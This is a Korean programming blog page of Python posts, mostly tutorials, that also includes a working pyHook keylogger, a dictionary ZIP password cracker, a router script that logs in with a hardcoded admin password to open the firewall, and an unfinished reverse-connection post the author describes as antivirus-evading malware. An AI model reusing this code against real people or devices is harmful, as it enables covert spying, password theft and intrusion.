'Python'에 해당되는 글 41건

  1. 2016.10.09 펌웨어 전체 파일에서 하드코딩된 스트링 찾을때..
  2. 2016.04.27 dbus tree
  3. 2015.07.12 httplib urllib2 를 이용해서 cookie (session) 값 유지한채로 통신하기
  4. 2014.06.01 python iterator 관련itertools 패키지 및 메소드 정리
  5. 2014.06.01 python string 관련 메소드 정리
  6. 2014.05.24 [ Python 2.7 ] 키보드 마우스 후킹 ( Key Mouse Event hooking )
  7. 2014.02.04 [ python ] 정규 표현식으로 문자열 검색하기 1
  8. 2013.11.06 [python] py2exe 에서 관리자 권한 주기
  9. 2013.10.21 python 프로그램 window 서비스로 등록 시키기
  10. 2013.09.04 [py2exe] py2exe 로 변환시 인코딩 에러
  11. 2013.08.13 [python 2.7] 엑셀 다루기 xlwt xlrd 사용하여 엑셀 컨트롤 하기
  12. 2013.08.06 [Python 2.7] Parallel Python 으로 분산처리 테스트
  13. 2013.08.04 [python2.7] Multi-Thread 와 Multi-Processing 차이와 예제코드
  14. 2013.05.30 [python] exploit 코드들에서 자주 나오는 lambda 사용법으로 인한 pack 에 대한 이해
  15. 2013.05.30 python2.7 thread 예제 코드
  16. 2013.04.07 문자열 조합 방법 (brute forcing)
  17. 2013.03.26 [python]ZIP 파일 크랙 python 코드
  18. 2012.12.21 [python 2.7] telnetlib를 이용한 telnet 접속하기
  19. 2012.10.17 [ python 2.7 ] HTTP POST data 전송하는 방법
  20. 2012.09.26 [ py2exe] setup.py 파일 아이콘 변경
  21. 2012.09.26 [ python 2.7 ] 파이썬 으로 만들어본 리버스 커넥션 + 업로드+ 다운로드
  22. 2012.09.26 [python 2.7 ] 경로에서 파일명이나 경로만 파싱하기
  23. 2012.09.25 [python 2.7] Reverse TCP connection Simple code
  24. 2012.09.10 [python ] 학교서버관리를 위해 만든 서버 체크리스트
  25. 2012.08.17 python socket 작업 중 에러 발생
  26. 2012.08.09 [ Python ] 전역변수 설정법 (global value ) ex. thread
  27. 2012.07.18 [ python 3.2 ] thread -> _thread
  28. 2012.07.18 stdout 으로 표준 출력 되는 값을 변수로 저장하여 가져오기.
  29. 2012.07.18 [ python 3.2 ] UDP sendto Error 이유와 해결법
  30. 2012.07.16 [ python ] LIST 미리 선언해주기
2016. 10. 9. 09:55


디렉토리내 전체 파일을 얻어낸 뒤(압축까지 해제) 스트링을 검색하여 파일에 저장 

하드코딩된 스트링을 찾기위해서 막 만든거임.


import os

import sys

import base64


FILE_LIST=[]


tmpFile = "result.txt"

def USAGE():

print "python findStr.py [path] [string]"


def init():

if os.path.exists(tmpFile):

os.unlink(tmpFile)


def makeFileList( dirname ):

for (path,dir,files) in os.walk(dirname):

for filename in files :

ext = os.path.splitext(filename)[-1]

full_filename = path+"/"+filename

FILE_LIST.append(full_filename)

if ext.find("tar.gz") > -1 :

os.system("tar xvfz %s -C %s 1>/dev/null" % ( full_filename, path ))

elif ext.find("tar") > -1 :

pass;

os.system("tar xvf %s -C %s 1>/dev/null"  % ( full_filename, path ))

elif ext.find("zip") > -1 :

os.system("unzip %s -d %s 1>/dev/null" %( full_filename, path ))

else :

pass


def findStr():

fp = open(tmpFile,"a+")

cmd1 = "grep -rn %s %s -A 5 " % (sys.argv[2] ,sys.argv[1])

cmd2 = "grep -rn %s %s -A 5 " % (base64.encodestring(sys.argv[2]) ,sys.argv[1])

stdData1 = os.popen(cmd1).read()

stdData2 = os.popen(cmd1).read()

if len(stdData1) >= len(sys.argv[2]) :

fp.write(stdData1)

if len(stdData2) >= len(sys.argv[2]) :

fp.write(stdData2)

fp.close()


def main():

init()

if (len(sys.argv) < 2):

USAGE()

sys.exit(1)

makeFileList( sys.argv[1] )

findStr()


if __name__ == "__main__":

main() 


Posted by k1rha
2016. 4. 27. 21:56

 

https://github.com/smokedice/PyDBusTree/blob/master/DBusTree.py

 

 

 

https://georgemuraruc.wordpress.com/2015/07/16/d-bus-tutorial-for-python/

Posted by k1rha
2015. 7. 12. 13:33

웹세션 유지한채로 통신하기



import httplib

import urllib

import urllib2

import os 

import time

import getpass

import sys

import telnetlib


RouterIP = "192.168.123.1"



def HttpAdminLogin():

#print ":::     CONNECT ADMIN SESSION     "

loginURL2 = "http://"+RouterIP+"/ap_login.asp"

params2 = {"page":"ap_login.asp","http_passwd":"YWRtaW4=",'hidden_action':"Login"}

params2 = urllib.urlencode(params2)

try :

conn = urllib2.Request(loginURL2,params2)

conn.add_header("Content-Type","application/x-www-form-urlencoded")

response = urllib2.urlopen(conn)

cookie = response.headers.get('Set-Cookie')  ## 여기서 쿠키값을 가져옴

except :

print "CONNECTION ERROR "

return


time.sleep(1)

## iptables OPEN

print ":::     IPTABLES FIREWALL IS OPENED      "

loginURL = "http://"+RouterIP+"/test.asp"

params ={"page":"ap_login.asp","http_passwd":"YWRtaW4=",'hidden_action':"Login"}

params = urllib.urlencode(params)

try :

conn = urllib2.Request(loginURL,params)

conn.add_header("Content-Type","application/x-www-form-urlencoded")

conn.add_header("cookie",cookie)  ## 여기서 쿠기값을 저장 

response = urllib2.urlopen(conn)

except :

print "IPTABLES FIREWALL OPEN FAIL"

return 


def main():

try :

RouterIP = sys.argv[1]

except :

RouterIP = "192.168.123.1"


print ":::     Home Router IP -> " + str(RouterIP)

HttpAdminLogin()

if __name__ == "__main__":

main()



Posted by k1rha
2014. 6. 1. 17:08

python iterator 관련 tiertools 패키지 및 메소드 정리 



http://docs.python.org/2/library/itertools.html


from itertools import *

 

 

 

count(n) : n 부터 시작하는 정수,증가하는 이터레이터

 

cycle(list) : list반복하는 it

 

repeat(elem, n) : elem을 n번 반복하는 이터레이터

 

chain(p,q) : p에 q를 붙인 it

 

compress(data, selector) : data에서 selector에 충족하는것만

 

dropwhile(pred,seq) : pred에 seq를 대입해서 참일때까지 떨구고, 나머지부터 iter

 

takewhile() : 조건이 참일때까지 iterate.

 

ifilter(pred,seq) : 이터레이터 필터, seq중에 조건에 참인걸 나타냄

 

ifilerfalse(pres, seq) : 거짓인걸 나타냄

 

imap(func, p, q) iterator map   ex imap(pow,(2,3,10), (5,2,3))

 

strmap(func, seq) : ex strmap(pow, [(2,5),(3,2),(10,3)])

 

tee(it, n) : 한 이터레이터를 n개로 나눈다. 라고 써있는것같은데.. 복사인듯, n개의 it가 각각 같은 반복을 함..

 

 

 

이건 수학시간때 배웠을법한.. 경우의수인가..

product('ABCD', repeat=2)  

AA AB AC AD 

BA BB BC BD 

CA CB CC CD 

DA DB DC DD

 

permutations('ABCD', 2)

AB AC AD BA 

BC BD CA CB 

CD DA DB DC

 

combinations('ABCD', 2)

AB AC AD BC BD CD

 

combinations_with_replacement('ABCD', 2)

AA AB AC AD 

BB BC BD 

CC CD 

DD




Posted by k1rha
2014. 6. 1. 17:03

python string 관련 메소드 정리



import string


print string.digits

print string.ascii_letters

print string.punctuation

print string.uppercase

print string.lowercase


---------- result -----------------

0123456789

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

ABCDEFGHIJKLMNOPQRSTUVWXYZ

abcdefghijklmnopqrstuvwxyz

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

0123456789

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~

[Finished in 0.2s]


Posted by k1rha
2014. 5. 24. 16:21

키보드 마우스 후킹 ( Key Mouse Event hooking ) 

pyHook 이 너무 라이브러리가 잘되어 있다. 

MouseEvent , Keyboard Hook 외에도 아래 사이트를 참조하면 라이브러리들에 대한 소개가 있음.

http://www.cs.unc.edu/Research/assist/doc/pyhook/public/pyHook.HookManager-module.html



import os

import time

import pyHook # http://sourceforge.net/projects/pyhook/

from win32gui import GetWindowRect, GetClassName, GetWindowText

##http://sourceforge.net/projects/pywin32/files/pywin32/Build216/



curTime = time.strftime("%Y%m%d_%H%M%S", time.localtime(time.time()))


if not os.path.exists("Messages"):

os.mkdir("Messages")

print "Make Message Directory "

f = open("Messages\\messages"+ curTime +".txt", "w")


def Log(logStr):

print "In logging "

print str(logStr)

f.write(logStr + "\n")


  

def OnMouseEvent(event):

print "On Mouse Event "

Log('MessageName:' + str(event.MessageName))

Log('Message:' + str(event.Message))

Log('Time:' + str(event.Time))

Log('Window:' + str(event.Window))

if event.Window != 0:

Log('Window Rect:' + str( GetWindowRect(event.Window)))

Log('Window Class Name:' + str( GetClassName(event.Window)))

#Log('Window Text:' + str( GetWindowText(event.Window)))

Log('WindowName:' + str(event.WindowName))

Log('Position:' + str(event.Position))

Log('Wheel:' + str(event.Wheel))

Log('Injected:' + str(event.Injected))

Log('---')


# return True to pass the event to other handlers

# return False to stop the event from propagating

return True


def OnKeyboardEvent(event):

print "On keyboard Event "

Log('MessageName:' + str(event.MessageName))

Log('Message:' + str(event.Message))

Log('Time:' + str(event.Time))

Log('Window:' + str(event.Window))

if event.Window != 0:

Log('Window Rect:' + str( GetWindowRect(event.Window)))

Log('Window Class Name:' + str( GetClassName(event.Window)))

#Log('Window Text:' + str( GetWindowText(event.Window)))

Log('WindowName:' + str(event.WindowName))

Log('Ascii:' + str( event.Ascii) + str( chr(event.Ascii)))

Log('Key:' + str( event.Key))

Log('KeyID:' + str( event.KeyID))

Log('ScanCode:' + str( event.ScanCode))

Log('Extended:' + str( event.Extended))

Log('Injected:' + str( event.Injected))

Log('Alt' + str( event.Alt))

Log('Transition' + str( event.Transition))

Log('---')


# return True to pass the event to other handlers

# return False to stop the event from propagating

return True


# create the hook mananger

hm = pyHook.HookManager()

# register two callbacks

hm.MouseAllButtonsDown = OnMouseEvent

hm.KeyDown = OnKeyboardEvent


# hook into the mouse and keyboard events

hm.HookMouse()

hm.HookKeyboard()


if __name__ == '__main__':

import pythoncom

pythoncom.PumpMessages()


Posted by k1rha
2014. 2. 4. 21:32
  • .(점)은 어떤 문자이건 하나의 문자를 가리킨다. (new line 제외)
  • \w 는 대소문자와 밑줄을 포함하는 모든 영숫자 [a-zA-Z0-9_]를 가리킨다.
  • \s 는 space, tab 등 white space 를 가리킨다. (\S 는 non-whitespace)
  • + 는 1개 또는 그 이상을 가리킨다.
  • * 는 0 개 또는 그 이상을 가리킨다.
  • ? 는 0 개 또는 1 개를 가리킨다.
  • \ 는 특수문자를 표현하는 용도로 사용되지만, 특수문자앞에서는 특수문자의 사용을 제외하고 문자자체를 나타내도록 한다.


>>> import re                                              # re 모듈 import


>>> match = re.search('iig', 'called piig');     # search 를 이용하여 iig 문자열 검색

>>> match.group()                                      # search 결과 match object 의 group 함수 이용

'iig'

>>> type(match)                                         # search 의 return 형이 match object 임

<type '_sre.SRE_Match'>

>>> match

<_sre.SRE_Match object at 0x2b26d13dcbf8>


>>> match = re.search('igs', 'called piig');    # 없는 문자열 검색

>>> match.group()

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

AttributeError: 'NoneType' object has no attribute 'group'

>>> type(match)                                         # 검색 후 return 형을 확인해보니 NoneType

<type 'NoneType'>                                      # 이는 검색 결과가 없다는 것임.


>>> match = re.search('..g', 'called piig');     # . 은 하나의 문자를 가리킴. 즉 앞에 아무문자나

>>> match.group()                                      # 두문자가 온 후 그 다음 문자가  g 인 것을 검색

'iig'


>>> match = re.search('i..g', 'called piig');    # i 와 g 사이에 문자 두개가 있는 것을 검색

>>> match.group()                                      # 결과가 없는 것임. NoneType

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

AttributeError: 'NoneType' object has no attribute 'group'


>>> match = re.search('p..g', 'called piig');           # p 와 g 사이 문자 두개

>>> match.group()

'piig'


>>> match = re.search('a.c', 'a.c called piig');      # a 와 c 사이에 한문자가 있는 문자열 검색

>>> match.group()

'a.c'


>>> match = re.search('a\.c', 'a.c called piig');   # a 와 c 사이 .(점) 문자가 있는 문자열 검색

>>> match.group()

'a.c'


>>> match = re.search('a.c', 'abc called piig');     # a 와 c 사이에 한문자가 있는 문자열 검색

>>> match.group()

'abc'


>>> match = re.search('a\.c', 'abc called piig');   # a.c 라는 문자열 검색 (\. 은 . 문자)

>>> match.group()

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

AttributeError: 'NoneType' object has no attribute 'group'


>>> match = re.search(':\w\w', 'abc called :piig');  # : 문자 뒤에 두개의 아무문자나

>>> match.group()

':pi'


>>> match = re.search(':[\w]+', 'abc called :piig');  # : 문자뒤에 아무문자나 1 개 이상 붙은것

>>> match.group()

':piig'


>>> match = re.search('(\d\d\d)-(\w\w\w)', '123-abc');  # 2 개의 pattern group 검색

>>> match.groups()                               # 결과로 리턴된 group 을 tuple 로 묶어서 보여줌.

('123', 'abc')

>>> match.group()                                 # 결과 리턴된 각 group 의 string 을 연결해서 보여줌

'123-abc'

>>> match.group(0)                                # 0 번째 group 은 없고 match.group() 과 같은 결과

'123-abc'

>>> match.group(1)                                # 첫번째 group (element)을 string 으로 리턴

'123'

>>> match.group(2)                                # 두번째 group (element)을 string 으로 리턴

'abc'


>>> match = re.search('(ab)','ab');          # 하나의 pattern group 만으로 검색

>>> match.groups()                                # tuple 의 element 는 하나임

('ab',)

>>> match.group(1)

'ab'

>>> match.group(2)

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

IndexError: no such group


>>> match = re.search('(aaa).(bbb)@(cc.)', '  aaa.bbb@ccx');  # 3 개의 group 검색

>>> match.groups()

('aaa', 'bbb', 'ccx')


>>> m = re.search('([\w.]+)@([\w.]+)', 'blah dp.lee.dp.lee@gmail.com yyxdf @ aa@xx')

>>> m.groups()

('dp.lee.dp.lee', 'gmail.com')

>>> m.group(1)

'dp.lee.dp.lee'

>>> m.group(2)

'gmail.com'


>>> import re

>>> bool(re.match('[0-9]', '    77'))                     # 첫 문자가 안맞으면 false

False

>>> bool(re.search('[0-9]', '    77'))                   # 문자열 전체 검색이므로 있으면 true

True


>>> m = re.findall('([\w.]+)@([\w.]+)', 'blah dp.leedp.lee@gmail.com yyxdf @ aa.xx@xx.net')

>>> m.groups()                                                 # 결과는 match object 가 아니기 때문에

Traceback (most recent call last):                        # groups 나 group 같은 함수가 없음.

  File "<stdin>", line 1, in <module>

AttributeError: 'list' object has no attribute 'groups'

>>> m.group()

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

AttributeError: 'list' object has no attribute 'group'


>>> m

[('dp.leedp.lee', 'gmail.com'), ('aa.xx', 'xx.net')]  # 결과는 각 pattern group 결과(tuple)가

                                                                         # List 로 묶여진 것임.

                                                                         # 이후 m 은 List 연산들을 자유롭게 수행.


>>> m = re.search('AA', '  aa bb cc')                    # default option 으로 사용하면

>>> m.group()                                                     # 대소문자 구분해서 아무것도 못찾음

Traceback (most recent call last):

  File "<stdin>", line 1, in <module>

AttributeError: 'NoneType' object has no attribute 'group'


>>> m = re.search('AA', '  aa bb cc', re.I)            # re.I 옵션을 사용하니 대소문자 미구분

>>> m.group()                                                    # case-insensitive 라고 하죠.

'aa'

Posted by k1rha
2013. 11. 6. 22:22

window7 으로 바뀌면서 여러가지 파일 및 명령어에 많은 권한이 생겼다.

이런 경우 일반 유저권한으로 파일을 만들었을때 제대로 동작하지 않는 것들이 많게 되는데,

py2exe 를 사용하고 있다면 컴파일 당시 권리자 권한을 요구 할 수 있다.


다음구조를 옵션으로 추가해 주면된다.




setup ( 
    windows
= [
       
{
           
"script" : "Chameleon.py",
           
"uac_info" : "requireAdministrator",
       
}
   
]
)


Posted by k1rha
2013. 10. 21. 11:22


출처 : http://pydjango.tistory.com/30



python Win32모듈 다운로드 후 아래 코드 작성

다운로드

아래 코드 작성 저장후 서비스 등록은 python filename.py install, 서비스 시작은 python filename.py start

### Run Python scripts as a service example (ryrobes.com)
### Usage : python aservice.py install (or / then start, stop, remove)

import win32service
import win32serviceutil
import win32api
import win32con
import win32event
import win32evtlogutil
import os, sys, string, time

class aservice(win32serviceutil.ServiceFramework):
    _svc_name_ = "Service short Name"
    _svc_display_name_ = "Service Display Name"
    _svc_description_ = "Service description


    def __init__(self, args):
        win32serviceutil.ServiceFramework.__init__(self, args)
        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)

    def SvcStop(self):
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
        win32event.SetEvent(self.hWaitStop)

    def SvcDoRun(self):
        import servicemanager
        servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE,servicemanager.PYS_SERVICE_STARTED,(self._svc_name_, ''))

       self.timeout = 640000    #640 seconds / 10 minutes (value is in milliseconds)
       #self.timeout = 120000     #120 seconds / 2 minutes
       # This is how long the service will wait to run / refresh itself (see script below)

       while 1:
          # Wait for service stop signal, if I timeout, loop again
          rc = win32event.WaitForSingleObject(self.hWaitStop, self.timeout)
          # Check to see if self.hWaitStop happened
          if rc == win32event.WAIT_OBJECT_0:
            # Stop signal encountered
            servicemanager.LogInfoMsg("SomeShortNameVersion - STOPPED!")  #For Event Log
            break
          else:
            t=time.localtime()
            if t.tm_min==0 or t.tm_min==30:
                #Ok, here's the real money shot right here.
                #[actual service code between rests]
                try:
                    file_path = "C:\PYTHON\filename.py"
                    execfile(file_path)             #Execute the script
                except:
                    pass
                #[actual service code between rests]
            else:
                pass


def ctrlHandler(ctrlType):
    return True

if __name__ == '__main__':
   win32api.SetConsoleCtrlHandler(ctrlHandler, True)
   win32serviceutil.HandleCommandLine(aservice)


Posted by k1rha
2013. 9. 4. 17:27

키워드 py2exe 로 변환시 인코딩 에러 encoding error 


py2exe로 작성했다 exe를 일본어나 한글을 포함한 폴더로 실행하면 아래와 같은 에러가 나온다. 



UnicodeDecodeError: 'ascii' codec can't decode byte 0x83 in position 34: ordinal not in range(128)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x83 in position 34: ordinal not in range(128)

다른 블로그를 보면 

sys.setdefaultencoding 을 사용하여 변환을 해주라고 하지만 이 역시도 적용이 잘 되지 않았는데, 

이유인즉 site.py 라는 곳에서 먼저 setdefaultencoding 을 사용하기 때문이다.

이를 해결하기 위해 많은 문서에서 site.py 를 수정해주는 등의 문제 해결 방법을 적어놨는데

필자는 잘 되지 않았고 삽질 끝에 아래와 같이 해결 하였다.

[Main.py]



[setup.py] : py2exe 에 사용됨


간단히 설명하자면 setup.py 에서 include 라는 옵션을 넣어 encodings 에 관한 것을 


사용하지 않겠다고 해주고, sys를 import 하여 setdefaultencoidng 을 선언해 주는것이다.


이방법을 사용하면 이클립스 상에서는 에러가 뜬다.


하지만 py2exe 로 바이너리로 만들면 한글 문제가 잘 해결되며 오류가 없이 잘 실행되는


것을 확인할 수 있다.


ㅇㅇㄴ해 많은 서 site.py 를 수정해주는 등의 문제 해결 방법을 적어놨는데

필자는 잘 되지 않았고 삽질 끝에 아래와 같이 해결 하였다. 


Posted by k1rha
2013. 8. 13. 23:05

[python 2.7] 엑셀 다루기 xlwt xlrd 사용하여 엑셀 (xls, xlsx cvs) 컨트롤 하기


회사 업무중에 엑셀 작업을 받고, 그 엑셀의 데이터를 웹사이트에 입력하여 응답 값을 다시 엑셀에 저장 할 일이 생겼다.

딱 떠오르는 것은 역시 파이썬! 파이썬 답게 이미 패키지가 다 존재하였다.


xlwt (xls wrtie 의 약자) xlrd (xls read 의 약자) 사용법을 명확하게 정리해 놓은 곳이 없어서 한번 정리해 보았다.


import sys, os

import xlwt

import xlrd



class READXLS():

    

    global filePoint

    global sheet1

    

    def __init__(self,file_name):

      

        self.filePoint = xlrd.open_workbook(file_name,formatting_info=True)

     

    

    def select_sheet (self,num):

        self.sheet1 = self.filePoint.sheet_by_index(0)

        #sheet_name = self.filePoint.sheet_by_name('colors')

        

    def select_row (self,num):

         print self.sheet1.row_values(num)

         

    def select_col (self,num):

        print self.sheet1.col_values(num)

        

    def select_map(self,row,col):

        print self.sheet1.cell(rowx=0,colx=0).value

        


    

def main():

    try :

        XLS = READXLS("test.xls")

    

    except :

        print "FILE OPEN ERROR"

        

    XLS.select_sheet(0)

    XLS.select_map(0,0)


    

if __name__ == "__main__":

    main()

    

#    book = xlwt.Workbook()

#    sheet1 = book.add_sheet("sheet1")

#    sheet1.write(0,0,'A1')

#    sheet1.write(0,2,"B1")   

#    book.save('test.csv')



Posted by k1rha
2013. 8. 6. 23:14

분산 처리를 위한 Paraller Python (이하 PP) 설치법 및 사용법


[ PP 다운로드 사이트 http://www.parallelpython.com/content/view/18/32/ ]


[ Master Server ]


root@k1rha:~/PYTHON/Parallel# unzip pp-1.6.4.zip 

root@k1rha:~/PYTHON/Parallel# cd pp-1.6.4.zip

root@k1rha:~/PYTHON/Parallel/pp-1.6.4# python setup.py install


설치를 하고나면 pp 패키지를 자유롭게 import 하여 사용 할 수 있다.



다수의 컴퓨터를 분산처리 하는 구조는 아래와 같다.


PPServer는 이미 Parallel Python 사이트에서 만들어놓은 프로그램을 사용하여 테스트 하였다.

각 Slave 컴퓨터에서는 ppserver를 동작 시킨다. 그리고 MASTER 서버는 자신이 연산할 함수를 각 서버에 분산시킨 뒤 그 결과값을 리턴 받는 식이다.


[ Client A ]

 # ppserver.py


[ Client B ]

 # ppserver.py


[ Client C ]

 # ppserver.py


[ Client D ]

 # ppserver.py


[ Master ]

# [병렬 처리할 프로그램].py

  #ppservers = ()   //같은 네트워크망이 아닐땐 요부분을 

   ppservers = ("[ A HOST IP ]:[PORT]","[ B HOST IP ]: [PORT]", )  //요렇게 고쳐준다..



[ 결과 화면 비교  1. 클러스터가 없을때 ]

 job count | % of all jobs | job time sum | time per job | job server

         9 |        100.00 |      15.5626 |     1.729183 | local

Time elapsed since server creation 8.8939139843

0 active tasks, 2 cores


root@k1rha:~/PYTHON/Parallel/pp-1.6.4/examples# 


[ 결과 화면 비교 2. 클러스터가 local 1개 remote 1개 총 2대일떄 ]

root@k1rha:~/PYTHON/Parallel/pp-1.6.4/examples# python sum_primes.py


Usage: python sum_primes.py [ncpus]

    [ncpus] - the number of workers to run in parallel,

    if omitted it will be set to the number of processors in the system

Starting pp with 2 workers

Sum of primes below 100 is 1060

Sum of primes below 200000 is 1709600813

Sum of primes below 200100 is 1711401118

Sum of primes below 200200 is 1713002400

Sum of primes below 300300 is 3716110510

Sum of primes below 200400 is 1716407615

Sum of primes below 200500 is 1717810714

Sum of primes below 300600 is 3723922172

Sum of primes below 400700 is 6478918307

Job execution statistics:

 job count | % of all jobs | job time sum | time per job | job server

         1 |         11.11 |       4.8824 |     4.882423 | 223.194.105.176:60000

         4 |         44.44 |      11.3776 |     2.844407 | 223.194.105.178:60000

         4 |         44.44 |       8.7561 |     2.189026 | local

Time elapsed since server creation 6.6827340126


[결론] 제공된 예제코드인데 좀 쥐꼬리만큼 빨라지는 기분... 생각만큼 절반으로 줄어들 순 없는것 같다. 


Posted by k1rha
2013. 8. 4. 19:03

멤버십에서 한 PPT가 올라왔는데, python 으로 분산처리를 하는 과정의 PPT였다.

지금까지 다수의 연산처리는 Multi Thread 방식을 사용해서 처리 하였었는데, 이 PPT 에 의하면 오히려 multi-Thread 방식은 속도가 더 느려진다 (Global Interpretor Locking 때문) 


http://docs.python.org/2/library/multiprocessing.html#module-multiprocessing


하여금 Multi-Processing 방식을 추천해주는데 코드는 아래와 같음. 

(사용법이 thread 사용법과 거의 동일함)

(python 2.6 이상부터는 default 모듈임)


from multiprocessing import Process,Queue


def do_work( start, end , result):

        sum =0;

        for i in range(start,end):

                sum += i;

        result.put(sum)

        return



if __name__ == "__main__":

        START, END = 0, 2000000

        result = Queue()

        pr1 = Process(target = do_work, args=(START, END/2 , result ))

        pr2 = Process(target = do_work, args=(END/2, END, result))

        pr1.start()

        pr2.start()

        pr1.join()

        pr2.join()


        result.put('STOP')

        sum = 0;

        while True :

                tmp = result.get()

                if tmp == 'STOP' : break

                else: sum += tmp

        print "RESULT : ", sum



root@k1rha:~/PYTHON/MultiProc# time python multi_proc.py

RESULT :  1999999000000


real 0m0.544s

user 0m0.384s

sys 0m0.176s




Thread 와 비교하면 어떨까?


from threading import Thread


def do_work (start, end ,result):

        sum = 0

        for i in range(start, end):

                sum += i

        result.append(sum)

        return


if __name__ == "__main__":

        START, END = 0, 2000000

        result = list()

        th1 = Thread(target=do_work, args=(START, END/2,result))

        th2 = Thread(target=do_work, args=(END/2,END,result))

        th1.start()

        th2.start()


        th1.join()

        th2.join()


        print "result: ", sum(result)


root@k1rha:~/PYTHON/thread_ex# time python thread_ex.py 

result:  1999999000000


real 0m0.810s

user 0m0.208s

sys 0m0.668s




Posted by k1rha
2013. 5. 30. 22:51

python exploit 코드들에서 자주 나오는 lambda 사용법으로 인한 pack 에 대한 이해 


Lambda 표현식은 C언어의 메크로 함수와 비슷한 역할을 하는 것 같다.


g = lambda x,y : x*y

>> g(2,3)

6

>> g(3,4)

12

>>


p = lambda x : pack("<L" , x)

 

"  <  "  : little endian

"  >  "  : big endian


L : Unsigned Long 형태  (32bit 에서 자주쓰임)

Q : Unsinged Long Long 형태 (64bit에서 자주 쓰임)



p(0x08040552) 하면 little endian 으로 Long 형태로 변환되어 packing 된다.





Format        C Type         Python        

x         pad byte            no value         

c         char                   string         

b         signed char         integer         

B         unsigned char       integer         

?         _Bool                 bool        

h         short                     integer         

H         unsigned short      integer         

i         int                     integer         

I         unsigned int            integer or long         

l         long                     integer         

L         unsigned long       long         

q         long long               long        

Q         unsigned long     long      

f         float                     float         

d         double             float         

s         char[]             string         

p         char[]             string         

P         void *             long         



Character       Byte order       Size and alignment

@         native         native

=         native         standard

<         little-endian           standard

>         big-endian               standard

!         network (= big-endian)  standard



thanks for 충호~


Posted by k1rha
2013. 5. 30. 22:51
python2.7 thread 예제 코드 

import thread, time


def counter(id):

    for i in range(5):

        print 'id %s --> %s' % (id, i)

        time.sleep(1)



for i in range(5):

    thread.start_new_thread(counter, (i,))


time.sleep(5)

print 'Exiting'


Posted by k1rha
2013. 4. 7. 14:36

keyword  : 문자열 조합 brute forcing 


부르투 포싱을 할때 쓸 문자열 조합 방법이다.


import time


your_list1 = 'abcdefghijklmnopqrstuvwxyz'

your_list2 = '1234567890'

your_list3 = 'abcdefghijklmnopqrstuvwxyz1234567890'

TheKey = ''

current =''


def bruteForcing(y):

        for current in xrange(7):

                TheKey = [i for i in your_list1]

                for y in xrange(current):

                        TheKey = [x+i for i in your_list1 for x in TheKey]

                for i in range(0,len(TheKey)) :

                        print TheKey[i]



def main():


        bruteForcing(0)


if __name__ == '__main__' :

        main()

Posted by k1rha
2013. 3. 26. 23:13

keyword  : zip 패스워드 풀기 zip 암호 풀기 zip 파일 암호 깨기 zip 파일 크랙 패스워드 크랙 python 


치명적인 파이썬 책에 있는 내용인데, 정말 재밌는 책인 것 같다. 

이런저런 유용한(?) 코드들이 많은 느낌이다.

아래 내용은 zip 파일 패스워드를 딕셔너리 방식으로 크랙하는 내용이다. 쓰레드를 이용하여 처리 하도록 되어 있고,

좋은 dictionary 나 브루투 포스 알고리즘만 짜두면 나쁘지 않을 것 같다.



usage %prog -f <zipfile> -d <dictionary>

root@ubuntu:/home/k1rha/python/ZIP_CRACK# 



import zipfile

import optparse

from threading import Thread


def extractFile(zFile,password):

try :

zFile.extractall(pwd=password)

print '[+] Found password ' + password + '\n'

except :

pass


def main():


parser = optparse.OptionParser("usage %prog "+\

"-f <zipfile> -d <dictionary>")

parser.add_option('-f',dest='zname', type='string',\

help='secify zip file')


parser.add_option('-d' , dest='dname', type='string',\

help='specify dictionary file')


(options,args) = parser.parse_args()

if(options.zname == None) | (options.dname == None):

print parser.usage

exit(0)


else :

zname = options.zname

dname = options.dname


zFile=zipfile.ZipFile(zname)

passFile = open(dname)

for line in passFile.readlines():

password = line.strip('\n')

t = Thread(target = extractFile , args=(zFile,password))

t.start()


if __name__ == '__main__':

main()

Posted by k1rha
2012. 12. 21. 20:22

[python 2.7] telnetlib를 이용한 telnet 접속하기
http://docs.python.org/2/library/telnetlib.html
#!/usr/bin/env python
import getpass
import sys
import telnetlib

HOST = "localhost"
user = raw_input("Enter your remote account: ")
password = getpass.getpass()

tn = telnetlib.Telnet(HOST)

tn.read_until("login: ")
tn.write(user + "\n")
if password:
    tn.read_until("Password: ")
    tn.write(password + "\n")

tn.write("ls\n")
tn.write("exit\n")

print tn.read_all()

Posted by k1rha
2012. 10. 17. 23:19


import httplib, urllib

params = urllib.urlencode({'id':'k1rha','pw':'k1rha','pwch':'k1rha','age':'11','sex':'1','email':'1111'})

headers = {"Content-type":"application/x-www-form-urlencoded"}

conn=httplib.HTTPConnection("223.194.105.120:80")

conn.request("POST","/web7/web300_edit_ok.php",params,headers)


response = conn.getresponse()

#print response.status, response.reason 200 OK

data = response.read()

print data

conn.close()



Posted by k1rha
2012. 9. 26. 21:45

from distutils.core import setup

import py2exe

import glob


setup(

    #console = ['test.py'],                         

    windows = [{'script':'client.py', 'icon_resources':[(1,'project.ico')]}],                         

    options = { 'py2exe': { 'compressed':1         

                            ,'optimize':2           

                            ,'dist_dir':'./dist'    

                            ,'bundle_files':1      

                            }},

    zipfile = None,                                 

    data_files = [('img', glob.glob('img/*.bmp'))] 

)



위코드중 console 모드와 windows 모드가 있다. windows 모드는 백그라운드로 돌아감.. 
icon_resourse 를 바꾸면 아이콘 모양도 바꿀수 있다. 

Posted by k1rha
2012. 9. 26. 20:37

지난 글에 이어서 리버스 커넥션 파일에 업로드 다운로드 기능을 추가해 보았다.

조금은 억지로 막만든 경향이 있어 코드가 깔끔치는 않지만 파이썬을 시작한지 얼마 안된 나로썬 결과가 뿌듯하다.

백신에 안잡힌다는 매력있는 파이썬 악성코드 인듯..


같은서버에 테스트 하기위해 파일을 다운로드 받거나 업로드 받으면 


같은 파일명이 아닌 _[파일명] 으로 저장되게 해 놓았다.




Server 

 import socket

import os

import time

PORT=1235

